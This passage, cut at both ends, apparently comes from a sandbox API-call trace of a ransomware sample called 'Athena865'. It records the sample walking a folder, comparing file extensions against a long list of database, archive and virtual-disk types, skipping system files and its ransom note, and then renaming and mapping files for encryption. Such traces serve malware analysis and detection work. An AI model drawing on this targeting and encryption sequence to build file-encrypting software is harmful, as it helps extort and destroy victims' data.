lpString2="dcb") returned 1 [0120.002] lstrlenW (lpString="dct") returned 3 [0120.002] lstrcmpiW (lpString1="png", lpString2="dct") returned 1 [0120.002] lstrlenW (lpString="dcx") returned 3 [0120.002] lstrcmpiW (lpString1="png", lpString2="dcx") returned 1 [0120.002] lstrlenW (lpString="ddl") returned 3 [0120.003] lstrcmpiW (lpString1="png", lpString2="ddl") returned 1 [0120.003] lstrlenW (lpString="dlis") returned 4 [0120.003] lstrcmpiW (lpString1=".png", lpString2="dlis") returned -1 [0120.003] lstrlenW (lpString="dp1") returned 3 [0120.003] lstrcmpiW (lpString1="png", lpString2="dp1") returned 1 [0120.003] lstrlenW (lpString="dqy") returned 3 [0120.003] lstrcmpiW (lpString1="png", lpString2="dqy") returned 1 [0120.003] lstrlenW (lpString="dsk") returned 3 [0120.003] lstrcmpiW (lpString1="png", lpString2="dsk") returned 1 [0120.003] lstrlenW (lpString="dsn") returned 3 [0120.003] lstrcmpiW (lpString1="png", lpString2="dsn") returned 1 [0120.003] lstrlenW (lpString="dtsx") returned 4 [0120.003] lstrcmpiW (lpString1=".png", lpString2="dtsx") returned -1 [0120.003] lstrlenW (lpString="dxl") returned 3 [0120.003] lstrcmpiW (lpString1="png", lpString2="dxl") returned 1 [0120.003] lstrlenW (lpString="eco") returned 3 [0120.003] lstrcmpiW (lpString1="png", lpString2="eco") returned 1 [0120.003] lstrlenW (lpString="ecx") returned 3 [0120.003] lstrcmpiW (lpString1="png", lpString2="ecx") returned 1 [0120.003] lstrlenW (lpString="edb") returned 3 [0120.003] lstrcmpiW (lpString1="png", lpString2="edb") returned 1 [0120.003] lstrlenW (lpString="epim") returned 4 [0120.003] lstrcmpiW (lpString1=".png", lpString2="epim") returned -1 [0120.003] lstrlenW (lpString="fcd") returned 3 [0120.003] lstrcmpiW (lpString1="png", lpString2="fcd") returned 1 [0120.003] lstrlenW (lpString="fdb") returned 3 [0120.003] lstrcmpiW (lpString1="png", lpString2="fdb") returned 1 [0120.003] lstrlenW (lpString="fic") returned 3 [0120.004] lstrcmpiW (lpString1="png", lpString2="fic") returned 1 [0120.004] lstrlenW (lpString="flexolibrary") returned 12 [0120.004] lstrcmpiW (lpString1="bpicture.png", lpString2="flexolibrary") returned -1 [0120.004] lstrlenW (lpString="fm5") returned 3 [0120.004] lstrcmpiW (lpString1="png", lpString2="fm5") returned 1 [0120.004] lstrlenW (lpString="fmp") returned 3 [0120.004] lstrcmpiW (lpString1="png", lpString2="fmp") returned 1 [0120.004] lstrlenW (lpString="fmp12") returned 5 [0120.004] lstrcmpiW (lpString1="e.png", lpString2="fmp12") returned -1 [0120.004] lstrlenW (lpString="fmpsl") returned 5 [0120.004] lstrcmpiW (lpString1="e.png", lpString2="fmpsl") returned -1 [0120.004] lstrlenW (lpString="fol") returned 3 [0120.004] lstrcmpiW (lpString1="png", lpString2="fol") returned 1 [0120.004] lstrlenW (lpString="fp3") returned 3 [0120.004] lstrcmpiW (lpString1="png", lpString2="fp3") returned 1 [0120.004] lstrlenW (lpString="fp4") returned 3 [0120.004] lstrcmpiW (lpString1="png", lpString2="fp4") returned 1 [0120.004] lstrlenW (lpString="fp5") returned 3 [0120.004] lstrcmpiW (lpString1="png", lpString2="fp5") returned 1 [0120.004] lstrlenW (lpString="fp7") returned 3 [0120.004] lstrcmpiW (lpString1="png", lpString2="fp7") returned 1 [0120.004] lstrlenW (lpString="fpt") returned 3 [0120.004] lstrcmpiW (lpString1="png", lpString2="fpt") returned 1 [0120.004] lstrlenW (lpString="frm") returned 3 [0120.004] lstrcmpiW (lpString1="png", lpString2="frm") returned 1 [0120.004] lstrlenW (lpString="gdb") returned 3 [0120.004] lstrcmpiW (lpString1="png", lpString2="gdb") returned 1 [0120.004] lstrlenW (lpString="gdb") returned 3 [0120.004] lstrcmpiW (lpString1="png", lpString2="gdb") returned 1 [0120.005] lstrlenW (lpString="grdb") returned 4 [0120.005] lstrcmpiW (lpString1=".png", lpString2="grdb") returned -1 [0120.005] lstrlenW (lpString="gwi") returned 3 [0120.005] lstrcmpiW (lpString1="png", lpString2="gwi") returned 1 [0120.005] lstrlenW (lpString="hdb") returned 3 [0120.005] lstrcmpiW (lpString1="png", lpString2="hdb") returned 1 [0120.005] lstrlenW (lpString="his") returned 3 [0120.005] lstrcmpiW (lpString1="png", lpString2="his") returned 1 [0120.005] lstrlenW (lpString="ib") returned 2 [0120.005] lstrcmpiW (lpString1="ng", lpString2="ib") returned 1 [0120.005] lstrlenW (lpString="idb") returned 3 [0120.005] lstrcmpiW (lpString1="png", lpString2="idb") returned 1 [0120.005] lstrlenW (lpString="ihx") returned 3 [0120.005] lstrcmpiW (lpString1="png", lpString2="ihx") returned 1 [0120.005] lstrlenW (lpString="itdb") returned 4 [0120.005] lstrcmpiW (lpString1=".png", lpString2="itdb") returned -1 [0120.005] lstrlenW (lpString="itw") returned 3 [0120.005] lstrcmpiW (lpString1="png", lpString2="itw") returned 1 [0120.005] lstrlenW (lpString="jet") returned 3 [0120.005] lstrcmpiW (lpString1="png", lpString2="jet") returned 1 [0120.005] lstrlenW (lpString="jtx") returned 3 [0120.005] lstrcmpiW (lpString1="png", lpString2="jtx") returned 1 [0120.005] lstrlenW (lpString="kdb") returned 3 [0120.005] lstrcmpiW (lpString1="png", lpString2="kdb") returned 1 [0120.005] lstrlenW (lpString="kexi") returned 4 [0120.005] lstrcmpiW (lpString1=".png", lpString2="kexi") returned -1 [0120.005] lstrlenW (lpString="kexic") returned 5 [0120.005] lstrcmpiW (lpString1="e.png", lpString2="kexic") returned -1 [0120.006] lstrlenW (lpString="kexis") returned 5 [0120.006] lstrcmpiW (lpString1="e.png", lpString2="kexis") returned -1 [0120.006] lstrlenW (lpString="lgc") returned 3 [0120.006] lstrcmpiW (lpString1="png", lpString2="lgc") returned 1 [0120.006] lstrlenW (lpString="lwx") returned 3 [0120.006] lstrcmpiW (lpString1="png", lpString2="lwx") returned 1 [0120.006] lstrlenW (lpString="maf") returned 3 [0120.006] lstrcmpiW (lpString1="png", lpString2="maf") returned 1 [0120.006] lstrlenW (lpString="maq") returned 3 [0120.006] lstrcmpiW (lpString1="png", lpString2="maq") returned 1 [0120.006] lstrlenW (lpString="mar") returned 3 [0120.006] lstrcmpiW (lpString1="png", lpString2="mar") returned 1 [0120.006] lstrlenW (lpString="marshal") returned 7 [0120.006] lstrcmpiW (lpString1="ure.png", lpString2="marshal") returned 1 [0120.006] lstrlenW (lpString="mas") returned 3 [0120.006] lstrcmpiW (lpString1="png", lpString2="mas") returned 1 [0120.006] lstrlenW (lpString="mav") returned 3 [0120.006] lstrcmpiW (lpString1="png", lpString2="mav") returned 1 [0120.006] lstrlenW (lpString="maw") returned 3 [0120.006] lstrcmpiW (lpString1="png", lpString2="maw") returned 1 [0120.006] lstrlenW (lpString="mdbhtml") returned 7 [0120.006] lstrcmpiW (lpString1="ure.png", lpString2="mdbhtml") returned 1 [0120.006] lstrlenW (lpString="mdn") returned 3 [0120.006] lstrcmpiW (lpString1="png", lpString2="mdn") returned 1 [0120.006] lstrlenW (lpString="mdt") returned 3 [0120.006] lstrcmpiW (lpString1="png", lpString2="mdt") returned 1 [0120.006] lstrlenW (lpString="mfd") returned 3 [0120.007] lstrcmpiW (lpString1="png", lpString2="mfd") returned 1 [0120.007] lstrlenW (lpString="mpd") returned 3 [0120.007] lstrcmpiW (lpString1="png", lpString2="mpd") returned 1 [0120.007] lstrlenW (lpString="mrg") returned 3 [0120.007] lstrcmpiW (lpString1="png", lpString2="mrg") returned 1 [0120.007] lstrlenW (lpString="mud") returned 3 [0120.007] lstrcmpiW (lpString1="png", lpString2="mud") returned 1 [0120.007] lstrlenW (lpString="mwb") returned 3 [0120.007] lstrcmpiW (lpString1="png", lpString2="mwb") returned 1 [0120.007] lstrlenW (lpString="myd") returned 3 [0120.007] lstrcmpiW (lpString1="png", lpString2="myd") returned 1 [0120.007] lstrlenW (lpString="ndf") returned 3 [0120.007] lstrcmpiW (lpString1="png", lpString2="ndf") returned 1 [0120.007] lstrlenW (lpString="nnt") returned 3 [0120.007] lstrcmpiW (lpString1="png", lpString2="nnt") returned 1 [0120.007] lstrlenW (lpString="nrmlib") returned 6 [0120.007] lstrcmpiW (lpString1="re.png", lpString2="nrmlib") returned 1 [0120.007] lstrlenW (lpString="ns2") returned 3 [0120.007] lstrcmpiW (lpString1="png", lpString2="ns2") returned 1 [0120.007] lstrlenW (lpString="ns3") returned 3 [0120.007] lstrcmpiW (lpString1="png", lpString2="ns3") returned 1 [0120.007] lstrlenW (lpString="ns4") returned 3 [0120.007] lstrcmpiW (lpString1="png", lpString2="ns4") returned 1 [0120.007] lstrlenW (lpString="nsf") returned 3 [0120.007] lstrcmpiW (lpString1="png", lpString2="nsf") returned 1 [0120.007] lstrlenW (lpString="nv") returned 2 [0120.007] lstrcmpiW (lpString1="ng", lpString2="nv") returned -1 [0120.008] lstrlenW (lpString="nv2") returned 3 [0120.008] lstrcmpiW (lpString1="png", lpString2="nv2") returned 1 [0120.008] lstrlenW (lpString="nwdb") returned 4 [0120.008] lstrcmpiW (lpString1=".png", lpString2="nwdb") returned -1 [0120.008] lstrlenW (lpString="nyf") returned 3 [0120.008] lstrcmpiW (lpString1="png", lpString2="nyf") returned 1 [0120.008] lstrlenW (lpString="odb") returned 3 [0120.008] lstrcmpiW (lpString1="png", lpString2="odb") returned 1 [0120.008] lstrlenW (lpString="odb") returned 3 [0120.008] lstrcmpiW (lpString1="png", lpString2="odb") returned 1 [0120.008] lstrlenW (lpString="oqy") returned 3 [0120.008] lstrcmpiW (lpString1="png", lpString2="oqy") returned 1 [0120.008] lstrlenW (lpString="ora") returned 3 [0120.008] lstrcmpiW (lpString1="png", lpString2="ora") returned 1 [0120.008] lstrlenW (lpString="orx") returned 3 [0120.008] lstrcmpiW (lpString1="png", lpString2="orx") returned 1 [0120.008] lstrlenW (lpString="owc") returned 3 [0120.008] lstrcmpiW (lpString1="png", lpString2="owc") returned 1 [0120.008] lstrlenW (lpString="p96") returned 3 [0120.008] lstrcmpiW (lpString1="png", lpString2="p96") returned 1 [0120.008] lstrlenW (lpString="p97") returned 3 [0120.008] lstrcmpiW (lpString1="png", lpString2="p97") returned 1 [0120.008] lstrlenW (lpString="pan") returned 3 [0120.008] lstrcmpiW (lpString1="png", lpString2="pan") returned 1 [0120.008] lstrlenW (lpString="pdb") returned 3 [0120.008] lstrcmpiW (lpString1="png", lpString2="pdb") returned 1 [0120.008] lstrlenW (lpString="pdm") returned 3 [0120.008] lstrcmpiW (lpString1="png", lpString2="pdm") returned 1 [0120.008] lstrlenW (lpString="pnz") returned 3 [0120.009] lstrcmpiW (lpString1="png", lpString2="pnz") returned -1 [0120.009] lstrlenW (lpString="qry") returned 3 [0120.009] lstrcmpiW (lpString1="png", lpString2="qry") returned -1 [0120.009] lstrlenW (lpString="qvd") returned 3 [0120.009] lstrcmpiW (lpString1="png", lpString2="qvd") returned -1 [0120.009] lstrlenW (lpString="rbf") returned 3 [0120.009] lstrcmpiW (lpString1="png", lpString2="rbf") returned -1 [0120.009] lstrlenW (lpString="rctd") returned 4 [0120.009] lstrcmpiW (lpString1=".png", lpString2="rctd") returned -1 [0120.009] lstrlenW (lpString="rod") returned 3 [0120.009] lstrcmpiW (lpString1="png", lpString2="rod") returned -1 [0120.009] lstrlenW (lpString="rodx") returned 4 [0120.009] lstrcmpiW (lpString1=".png", lpString2="rodx") returned -1 [0120.009] lstrlenW (lpString="rpd") returned 3 [0120.009] lstrcmpiW (lpString1="png", lpString2="rpd") returned -1 [0120.009] lstrlenW (lpString="rsd") returned 3 [0120.009] lstrcmpiW (lpString1="png", lpString2="rsd") returned -1 [0120.009] lstrlenW (lpString="sas7bdat") returned 8 [0120.009] lstrcmpiW (lpString1="ture.png", lpString2="sas7bdat") returned 1 [0120.009] lstrlenW (lpString="sbf") returned 3 [0120.009] lstrcmpiW (lpString1="png", lpString2="sbf") returned -1 [0120.009] lstrlenW (lpString="scx") returned 3 [0120.009] lstrcmpiW (lpString1="png", lpString2="scx") returned -1 [0120.009] lstrlenW (lpString="sdb") returned 3 [0120.009] lstrcmpiW (lpString1="png", lpString2="sdb") returned -1 [0120.009] lstrlenW (lpString="sdc") returned 3 [0120.009] lstrcmpiW (lpString1="png", lpString2="sdc") returned -1 [0120.009] lstrlenW (lpString="sdf") returned 3 [0120.009] lstrcmpiW (lpString1="png", lpString2="sdf") returned -1 [0120.010] lstrlenW (lpString="sis") returned 3 [0120.010] lstrcmpiW (lpString1="png", lpString2="sis") returned -1 [0120.010] lstrlenW (lpString="spq") returned 3 [0120.010] lstrcmpiW (lpString1="png", lpString2="spq") returned -1 [0120.010] lstrlenW (lpString="te") returned 2 [0120.010] lstrcmpiW (lpString1="ng", lpString2="te") returned -1 [0120.010] lstrlenW (lpString="teacher") returned 7 [0120.010] lstrcmpiW (lpString1="ure.png", lpString2="teacher") returned 1 [0120.010] lstrlenW (lpString="tmd") returned 3 [0120.010] lstrcmpiW (lpString1="png", lpString2="tmd") returned -1 [0120.010] lstrlenW (lpString="tps") returned 3 [0120.010] lstrcmpiW (lpString1="png", lpString2="tps") returned -1 [0120.010] lstrlenW (lpString="trc") returned 3 [0120.010] lstrcmpiW (lpString1="png", lpString2="trc") returned -1 [0120.010] lstrlenW (lpString="trc") returned 3 [0120.010] lstrcmpiW (lpString1="png", lpString2="trc") returned -1 [0120.010] lstrlenW (lpString="trm") returned 3 [0120.010] lstrcmpiW (lpString1="png", lpString2="trm") returned -1 [0120.010] lstrlenW (lpString="udb") returned 3 [0120.010] lstrcmpiW (lpString1="png", lpString2="udb") returned -1 [0120.010] lstrlenW (lpString="udl") returned 3 [0120.010] lstrcmpiW (lpString1="png", lpString2="udl") returned -1 [0120.010] lstrlenW (lpString="usr") returned 3 [0120.010] lstrcmpiW (lpString1="png", lpString2="usr") returned -1 [0120.010] lstrlenW (lpString="v12") returned 3 [0120.010] lstrcmpiW (lpString1="png", lpString2="v12") returned -1 [0120.010] lstrlenW (lpString="vis") returned 3 [0120.010] lstrcmpiW (lpString1="png", lpString2="vis") returned -1 [0120.011] lstrlenW (lpString="vpd") returned 3 [0120.011] lstrcmpiW (lpString1="png", lpString2="vpd") returned -1 [0120.011] lstrlenW (lpString="vvv") returned 3 [0120.011] lstrcmpiW (lpString1="png", lpString2="vvv") returned -1 [0120.011] lstrlenW (lpString="wdb") returned 3 [0120.011] lstrcmpiW (lpString1="png", lpString2="wdb") returned -1 [0120.011] lstrlenW (lpString="wmdb") returned 4 [0120.011] lstrcmpiW (lpString1=".png", lpString2="wmdb") returned -1 [0120.011] lstrlenW (lpString="wrk") returned 3 [0120.011] lstrcmpiW (lpString1="png", lpString2="wrk") returned -1 [0120.011] lstrlenW (lpString="xdb") returned 3 [0120.011] lstrcmpiW (lpString1="png", lpString2="xdb") returned -1 [0120.011] lstrlenW (lpString="xld") returned 3 [0120.011] lstrcmpiW (lpString1="png", lpString2="xld") returned -1 [0120.011] lstrlenW (lpString="xmlff") returned 5 [0120.011] lstrcmpiW (lpString1="e.png", lpString2="xmlff") returned -1 [0120.011] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png.Athena865") returned 93 [0120.011] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_selectionsubpicture.png.athena865"), dwFlags=0x1) returned 1 [0120.019] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_selectionsubpicture.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0120.019] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3390) returned 1 [0120.020] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0120.021] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0120.021] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0120.021] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1040, lpName=0x0) returned 0x17c [0120.022] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1040) returned 0x100000 [0120.023] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0120.024] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0120.024] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0120.024] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0120.024] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0120.024] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0120.024] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0120.024] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0120.024] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0120.025] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0120.025] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0120.025] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0120.025] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0120.025] CloseHandle (hObject=0x17c) returned 1 [0120.025] CloseHandle (hObject=0x154) returned 1 [0120.025] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0120.025] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0120.025] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0120.025] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8ac499, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8ac499, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="shadowonlyframe_videoinset.png", cAlternateFileName="")) returned 1 [0120.025] lstrcmpiW (lpString1="shadowonlyframe_videoinset.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0120.025] lstrcmpiW (lpString1="shadowonlyframe_videoinset.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0120.025] lstrcmpiW (lpString1="shadowonlyframe_videoinset.png", lpString2=".") returned 1 [0120.025] lstrcmpiW (lpString1="shadowonlyframe_videoinset.png", lpString2="..") returned 1 [0120.025] lstrcmpiW (lpString1="shadowonlyframe_videoinset.png", lpString2="windows") returned -1 [0120.025] lstrcmpiW (lpString1="shadowonlyframe_videoinset.png", lpString2="bootmgr") returned 1 [0120.026] lstrcmpiW (lpString1="shadowonlyframe_videoinset.png", lpString2="temp") returned -1 [0120.026] lstrcmpiW (lpString1="shadowonlyframe_videoinset.png", lpString2="pagefile.sys") returned 1 [0120.026] lstrcmpiW (lpString1="shadowonlyframe_videoinset.png", lpString2="boot") returned 1 [0120.026] lstrcmpiW (lpString1="shadowonlyframe_videoinset.png", lpString2="ids.txt") returned 1 [0120.026] lstrcmpiW (lpString1="shadowonlyframe_videoinset.png", lpString2="ntuser.dat") returned 1 [0120.026] lstrcmpiW (lpString1="shadowonlyframe_videoinset.png", lpString2="perflogs") returned 1 [0120.026] lstrcmpiW (lpString1="shadowonlyframe_videoinset.png", lpString2="MSBuild") returned 1 [0120.026] lstrlenW (lpString="shadowonlyframe_videoinset.png") returned 30 [0120.026] lstrcpyW (in: lpString1=0x241e8a0, lpString2="shadowonlyframe_videoinset.png" | out: lpString1="shadowonlyframe_videoinset.png") returned="shadowonlyframe_videoinset.png" [0120.026] lstrlenW (lpString="shadowonlyframe_videoinset.png") returned 30 [0120.026] lstrlenW (lpString="Athena865") returned 9 [0120.026] lstrcmpiW (lpString1="inset.png", lpString2="Athena865") returned 1 [0120.026] lstrlenW (lpString=".dll") returned 4 [0120.026] lstrcmpiW (lpString1="shadowonlyframe_videoinset.png", lpString2=".dll") returned 1 [0120.026] lstrlenW (lpString=".lnk") returned 4 [0120.026] lstrcmpiW (lpString1="shadowonlyframe_videoinset.png", lpString2=".lnk") returned 1 [0120.026] lstrlenW (lpString=".ini") returned 4 [0120.026] lstrcmpiW (lpString1="shadowonlyframe_videoinset.png", lpString2=".ini") returned 1 [0120.026] lstrlenW (lpString=".sys") returned 4 [0120.026] lstrcmpiW (lpString1="shadowonlyframe_videoinset.png", lpString2=".sys") returned 1 [0120.026] lstrlenW (lpString="shadowonlyframe_videoinset.png") returned 30 [0120.026] lstrlenW (lpString="bak") returned 3 [0120.026] lstrcmpiW (lpString1="png", lpString2="bak") returned 1 [0120.026] lstrlenW (lpString="ba_") returned 3 [0120.026] lstrcmpiW (lpString1="png", lpString2="ba_") returned 1 [0120.026] lstrlenW (lpString="dbb") returned 3 [0120.026] lstrcmpiW (lpString1="png", lpString2="dbb") returned 1 [0120.026] lstrlenW (lpString="vmdk") returned 4 [0120.026] lstrcmpiW (lpString1=".png", lpString2="vmdk") returned -1 [0120.027] lstrlenW (lpString="rar") returned 3 [0120.027] lstrcmpiW (lpString1="png", lpString2="rar") returned -1 [0120.027] lstrlenW (lpString="zip") returned 3 [0120.027] lstrcmpiW (lpString1="png", lpString2="zip") returned -1 [0120.027] lstrlenW (lpString="tgz") returned 3 [0120.027] lstrcmpiW (lpString1="png", lpString2="tgz") returned -1 [0120.027] lstrlenW (lpString="vbox") returned 4 [0120.027] lstrcmpiW (lpString1=".png", lpString2="vbox") returned -1 [0120.027] lstrlenW (lpString="vdi") returned 3 [0120.027] lstrcmpiW (lpString1="png", lpString2="vdi") returned -1 [0120.027] lstrlenW (lpString="vhd") returned 3 [0120.027] lstrcmpiW (lpString1="png", lpString2="vhd") returned -1 [0120.027] lstrlenW (lpString="vhdx") returned 4 [0120.027] lstrcmpiW (lpString1=".png", lpString2="vhdx") returned -1 [0120.027] lstrlenW (lpString="avhd") returned 4 [0120.027] lstrcmpiW (lpString1=".png", lpString2="avhd") returned -1 [0120.027] lstrlenW (lpString="db") returned 2 [0120.027] lstrcmpiW (lpString1="ng", lpString2="db") returned 1 [0120.027] lstrlenW (lpString="db2") returned 3 [0120.027] lstrcmpiW (lpString1="png", lpString2="db2") returned 1 [0120.027] lstrlenW (lpString="db3") returned 3 [0120.027] lstrcmpiW (lpString1="png", lpString2="db3") returned 1 [0120.027] lstrlenW (lpString="dbf") returned 3 [0120.027] lstrcmpiW (lpString1="png", lpString2="dbf") returned 1 [0120.027] lstrlenW (lpString="mdf") returned 3 [0120.027] lstrcmpiW (lpString1="png", lpString2="mdf") returned 1 [0120.027] lstrlenW (lpString="mdb") returned 3 [0120.027] lstrcmpiW (lpString1="png", lpString2="mdb") returned 1 [0120.027] lstrlenW (lpString="sql") returned 3 [0120.027] lstrcmpiW (lpString1="png", lpString2="sql") returned -1 [0120.028] lstrlenW (lpString="sqlite") returned 6 [0120.028] lstrcmpiW (lpString1="et.png", lpString2="sqlite") returned -1 [0120.028] lstrlenW (lpString="sqlite3") returned 7 [0120.028] lstrcmpiW (lpString1="set.png", lpString2="sqlite3") returned -1 [0120.028] lstrlenW (lpString="sqlitedb") returned 8 [0120.028] lstrcmpiW (lpString1="nset.png", lpString2="sqlitedb") returned -1 [0120.028] lstrlenW (lpString="xml") returned 3 [0120.028] lstrcmpiW (lpString1="png", lpString2="xml") returned -1 [0120.028] lstrlenW (lpString="$er") returned 3 [0120.028] lstrcmpiW (lpString1="png", lpString2="$er") returned 1 [0120.028] lstrlenW (lpString="4dd") returned 3 [0120.028] lstrcmpiW (lpString1="png", lpString2="4dd") returned 1 [0120.028] lstrlenW (lpString="4dl") returned 3 [0120.028] lstrcmpiW (lpString1="png", lpString2="4dl") returned 1 [0120.028] lstrlenW (lpString="^^^") returned 3 [0120.028] lstrcmpiW (lpString1="png", lpString2="^^^") returned 1 [0120.028] lstrlenW (lpString="abs") returned 3 [0120.028] lstrcmpiW (lpString1="png", lpString2="abs") returned 1 [0120.028] lstrlenW (lpString="abx") returned 3 [0120.028] lstrcmpiW (lpString1="png", lpString2="abx") returned 1 [0120.028] lstrlenW (lpString="accdb") returned 5 [0120.028] lstrcmpiW (lpString1="t.png", lpString2="accdb") returned 1 [0120.028] lstrlenW (lpString="accdc") returned 5 [0120.028] lstrcmpiW (lpString1="t.png", lpString2="accdc") returned 1 [0120.028] lstrlenW (lpString="accde") returned 5 [0120.028] lstrcmpiW (lpString1="t.png", lpString2="accde") returned 1 [0120.028] lstrlenW (lpString="accdr") returned 5 [0120.028] lstrcmpiW (lpString1="t.png", lpString2="accdr") returned 1 [0120.028] lstrlenW (lpString="accdt") returned 5 [0120.029] lstrcmpiW (lpString1="t.png", lpString2="accdt") returned 1 [0120.029] lstrlenW (lpString="accdw") returned 5 [0120.029] lstrcmpiW (lpString1="t.png", lpString2="accdw") returned 1 [0120.029] lstrlenW (lpString="accft") returned 5 [0120.029] lstrcmpiW (lpString1="t.png", lpString2="accft") returned 1 [0120.029] lstrlenW (lpString="adb") returned 3 [0120.029] lstrcmpiW (lpString1="png", lpString2="adb") returned 1 [0120.029] lstrlenW (lpString="adb") returned 3 [0120.029] lstrcmpiW (lpString1="png", lpString2="adb") returned 1 [0120.029] lstrlenW (lpString="ade") returned 3 [0120.029] lstrcmpiW (lpString1="png", lpString2="ade") returned 1 [0120.029] lstrlenW (lpString="adf") returned 3 [0120.029] lstrcmpiW (lpString1="png", lpString2="adf") returned 1 [0120.029] lstrlenW (lpString="adn") returned 3 [0120.029] lstrcmpiW (lpString1="png", lpString2="adn") returned 1 [0120.029] lstrlenW (lpString="adp") returned 3 [0120.029] lstrcmpiW (lpString1="png", lpString2="adp") returned 1 [0120.029] lstrlenW (lpString="alf") returned 3 [0120.029] lstrcmpiW (lpString1="png", lpString2="alf") returned 1 [0120.029] lstrlenW (lpString="ask") returned 3 [0120.029] lstrcmpiW (lpString1="png", lpString2="ask") returned 1 [0120.029] lstrlenW (lpString="btr") returned 3 [0120.029] lstrcmpiW (lpString1="png", lpString2="btr") returned 1 [0120.029] lstrlenW (lpString="cat") returned 3 [0120.029] lstrcmpiW (lpString1="png", lpString2="cat") returned 1 [0120.029] lstrlenW (lpString="cdb") returned 3 [0120.029] lstrcmpiW (lpString1="png", lpString2="cdb") returned 1 [0120.029] lstrlenW (lpString="ckp") returned 3 [0120.030] lstrcmpiW (lpString1="png", lpString2="ckp") returned 1 [0120.030] lstrlenW (lpString="cma") returned 3 [0120.030] lstrcmpiW (lpString1="png", lpString2="cma") returned 1 [0120.030] lstrlenW (lpString="cpd") returned 3 [0120.030] lstrcmpiW (lpString1="png", lpString2="cpd") returned 1 [0120.030] lstrlenW (lpString="dacpac") returned 6 [0120.030] lstrcmpiW (lpString1="et.png", lpString2="dacpac") returned 1 [0120.030] lstrlenW (lpString="dad") returned 3 [0120.030] lstrcmpiW (lpString1="png", lpString2="dad") returned 1 [0120.030] lstrlenW (lpString="dadiagrams") returned 10 [0120.030] lstrcmpiW (lpString1="oinset.png", lpString2="dadiagrams") returned 1 [0120.030] lstrlenW (lpString="daschema") returned 8 [0120.030] lstrcmpiW (lpString1="nset.png", lpString2="daschema") returned 1 [0120.030] lstrlenW (lpString="db-journal") returned 10 [0120.030] lstrcmpiW (lpString1="oinset.png", lpString2="db-journal") returned 1 [0120.030] lstrlenW (lpString="db-shm") returned 6 [0120.030] lstrcmpiW (lpString1="et.png", lpString2="db-shm") returned 1 [0120.030] lstrlenW (lpString="db-wal") returned 6 [0120.030] lstrcmpiW (lpString1="et.png", lpString2="db-wal") returned 1 [0120.030] lstrlenW (lpString="dbc") returned 3 [0120.030] lstrcmpiW (lpString1="png", lpString2="dbc") returned 1 [0120.030] lstrlenW 